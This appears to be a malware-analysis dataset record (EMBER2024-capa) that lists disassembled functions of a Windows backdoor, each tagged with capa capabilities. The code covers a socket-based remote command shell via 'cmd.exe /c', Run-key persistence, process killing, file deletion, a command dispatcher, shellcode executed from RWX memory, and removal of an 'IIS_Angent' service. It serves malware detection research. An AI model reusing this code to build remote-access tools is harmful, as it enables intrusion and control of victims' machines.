joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401570
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00405e20
mov byte [ebp - 9], 0
push 0x407320
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4015a3
xor al, al
jmp 0x401704
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x90]
jae 0x4016f5
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 4]
cmp edx, 0x1000
jbe 0x40165e
push 0
push 0
push 0x1000
lea eax, [ebp - 0x100c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401ae0
test eax, eax
jne 0x40160b
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov ecx, dword [ebp - 8]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x100c]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp eax, 0x1000
je 0x40164d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov edx, dword [ebp - 4]
add edx, 0x1000
mov dword [ebp - 4], edx
jmp 0x4016f0
push 0
push 0
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x100c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ae0
test eax, eax
jne 0x40169d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 4]
push eax
push 1
lea ecx, [ebp - 0x100c]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 4]
cmp eax, edx
je 0x4016e7
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov edx, dword [ebp + 0x90]
mov dword [ebp - 4], edx
jmp 0x4015aa
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc

Function at 0x4017a0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 0x10], 0
mov eax, 1
mov word [ebp - 4], ax
mov ecx, 2
mov word [ebp - 8], cx
movzx edx, word [ebp - 4]
and edx, 0xff
movzx eax, dl
movzx ecx, word [ebp - 8]
and ecx, 0xff
movzx edx, cl
shl edx, 8
or eax, edx
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x1a0]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401804
xor eax, eax
jmp 0x401809
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401980
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], 0x14
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0x401cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4019cb
or eax, 0xffffffff
jmp 0x401ad9
mov dword [ebp - 8], 0xffffffff
cmp dword [ebp + 8], 0xffffffff
je 0x401abe
mov eax, dword [ebp + 0x10]
add eax, 3
push eax
call fcn.00405e4b
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0x10]
add edx, 3
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
movzx ecx, byte [ebp + 0x14]
test ecx, ecx
jne 0x401a4a
cmp dword [ebp + 0xc], 0
je 0x401a41
cmp dword [ebp + 0x18], 1
jne 0x401a26
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
jmp 0x401a48
mov dword [ebp - 8], 0
jmp 0x401aac
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp - 4]
mov cl, byte [ebp + 0x14]
mov byte [eax + edx], cl
cmp dword [ebp + 0xc], 0
je 0x401a7a
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 1
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x401a81
mov dword [ebp + 0x10], 0
cmp dword [ebp + 0x18], 1
jne 0x401a90
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
add ecx, 1
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00405e54
add esp, 4
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], 0
jne 0x401ad6
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x401ac5
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x401f30
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.00402500
add esp, 0xc
movzx eax, al
test eax, eax
jne 0x401f87
call fcn.004024c0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
call fcn.004025f0
add esp, 0xc
xor al, al
jmp 0x4020be
mov ecx, dword [ebp - 8]
push ecx
call fcn.00402440
add esp, 4
movzx edx, al
test edx, edx
jne 0x401fb1
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00402470
add esp, 0xc
xor al, al
jmp 0x4020be
cmp dword [0x40b50c], 0
je 0x402052
mov ecx, dword [ebp - 8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40b50c]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40b50c]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
push 0x4073a0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov edx, dword [0x40b50c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
jmp 0x402058
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call fcn.004020d0
add esp, 0x10
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x402091
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
call fcn.00402470
add esp, 0xc
xor al, al
jmp 0x4020be
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402470
add esp, 0xc
call fcn.004024c0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.004025f0
add esp, 0xc
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4020d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402104
xor al, al
jmp 0x402140
mov eax, dword [ebp + 0x14]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402134
xor al, al
jmp 0x402140
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x402360
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
add esp, 8
test eax, eax
jne 0x402380
mov al, 1
jmp 0x402433
mov dword [ebp - 0x10], 0x1000
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
push 0x407360
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4023cd
push 0x407364
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4023d1
xor al, al
jmp 0x402433
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x40240a
mov ecx, dword [ebp - 8]
push ecx
push 1
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
jmp 0x4023d1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x402c20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call fcn.00403aa0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x403d30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402c62
push 0x4075f8
call fcn.00404190
add esp, 4
mov eax, 1
jmp 0x402da2
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x403e80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402ca3
push 0x407618
call fcn.00404190
add esp, 4
mov eax, 1
jmp 0x402da2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00403f30
nop
mov ecx, 1
test ecx, ecx
je 0x402d5d
call fcn.00403080
test eax, eax
je 0x402d52
push 0x401
call fcn.00405e4b
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov eax, 1
test eax, eax
je 0x402d39
push 0x401
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0x400
mov edx, dword [ebp - 8]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401ae0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402d35
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004031c0
add esp, 8
mov dword [ebp - 0xc], eax
jmp 0x402d37
jmp 0x402d39
jmp 0x402ce3
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00405e54
add esp, 4
mov dword [ebp - 8], 0
call fcn.00403150
nop
jmp 0x402cb3
call fcn.00401810
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x403b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402d96
push 0x40763c
call fcn.00404190
add esp, 4
mov eax, 1
jmp 0x402da2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402db0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x99c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x12c
push 0
lea eax, [ebp - 0x19c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x800
push 0
lea ecx, [ebp - 0x99c]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 1
push 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402e38
jmp 0x402f4d
mov dword [ebp - 0x60], 0x44
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x24], ecx
xor edx, edx
mov word [ebp - 0x30], dx
mov dword [ebp - 0x34], 0x101
push 0x12c
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe__c
lea ecx, [ebp - 0x19c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x19c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x19c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402ecc
jmp 0x402f4d
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 1
test edx, edx
je 0x402f3b
push 0
lea eax, [ebp - 0xc]
push eax
push 0x800
lea ecx, [ebp - 0x99c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402f02
jmp 0x402f3b
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x99c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
push 0x800
push 0
lea eax, [ebp - 0x99c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x402ed7
push 0
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401980
nop
cmp dword [ebp - 8], 0
je 0x402f5e
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [ebp - 4], 0
je 0x402f6f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402f80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402fb6
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x402fd0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 8], 0
je 0x40304d
push 0
push 0
push 0x12c
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401980
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x403010
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x12c
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403150
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x40b510], 0
je 0x403190
push 0
mov eax, dword [0x40b510]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
mov ecx, dword [0x40b510]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x40b510]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40b510], 0
cmp dword [section..data], 0xffffffff
je 0x4031a5
mov eax, dword [section..data]
push eax
call fcn.00401b70
nop
mov dword [section..data], 0xffffffff
mov eax, 1
pop ebp
ret
Function at 0x4031c0
Capabilities:
Create process on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
push esi
push edi
mov dword [ebp - 0x18], 0
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 4
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0xdb
ja case.0x403204.1
mov edx, dword [ebp - 4]
movzx eax, byte [edx + 0x403464]
jmp dword [eax*4 + 0x403430]
call fcn.00404080
call fcn.00403150
nop
jmp case.0x403204.1
call fcn.00403150
nop
jmp case.0x403204.1
mov ecx, dword [section..data]
push ecx
call fcn.00402fd0
add esp, 4
jmp case.0x403204.1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 1]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402f80
add esp, 4
mov dword [ebp - 0x14], eax
push 5
push 0
lea edx, [ebp - 0xc]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 4
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 3
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401980
nop
jmp case.0x403204.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x407678
push 0x40b518
call fcn.00401720
add esp, 0xc
push 0x40b518
mov edx, dword [section..data]
push edx
call fcn.00402db0
add esp, 8
jmp case.0x403204.1
mov eax, dword [section..data]
push eax
call section..text
nop
jmp case.0x403204.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x40767c
push 0x40b518
call fcn.00401720
add esp, 0xc
push 0x40b518
mov edx, dword [section..data]
push edx
call fcn.00401130
nop
jmp case.0x403204.1
push 0
push 0
push 0xb8
lea eax, [ebp - 0x2d0]
push eax
mov ecx, dword [section..data]
push ecx
call fcn.00401ae0
sub esp, 0xb8
mov ecx, 0x2e
lea esi, [ebp - 0x2d0]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov edx, dword [section..data]
push edx
call fcn.00401570
nop
jmp case.0x403204.1
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x407680
push 0x40b518
call fcn.00401720
add esp, 0xc
push 0
push 0
push 0
push 0x403540
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
jmp case.0x403204.1
push 0xff
push 0
lea ecx, [ebp - 0x118]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x407684
lea eax, [ebp - 0x118]
push eax
call fcn.00401720
add esp, 0xc
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
jmp case.0x403204.1
push 0xff
push 0
lea edx, [ebp - 0x218]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x407688
lea ecx, [ebp - 0x218]
push ecx
call fcn.00401720
add esp, 0xc
push 1
push 0
push 0
lea edx, [ebp - 0x218]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
jmp case.0x403204.1
cmp dword [0x40b510], 0
jne case.0x403204.1
push 0
push 0
push 0
push 0x403640
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403f30
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x40
push 0x3000
mov eax, dword [0x409014]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov ecx, dword [0x409014]
push ecx
push 0x409018
mov edx, dword [ebp - 4]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403f97
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateThread_failed__Error_code:__d_n
call fcn.00404190
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x404080
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.winnet.exe
lea ecx, [ebp - 0x12c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
push 0xf01ff
push str.IIS_Angent
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4040eb
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x404141
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404136
cmp dword [ebp - 0x24], 1
je 0x404136
lea eax, [ebp - 0x28]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x404136
cmp dword [ebp - 0x24], 3
jne 0x404136
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
nop
jmp 0x404117
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
nop
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x26c]
push ecx
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x404188
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
mov esp, ebp
pop ebp
ret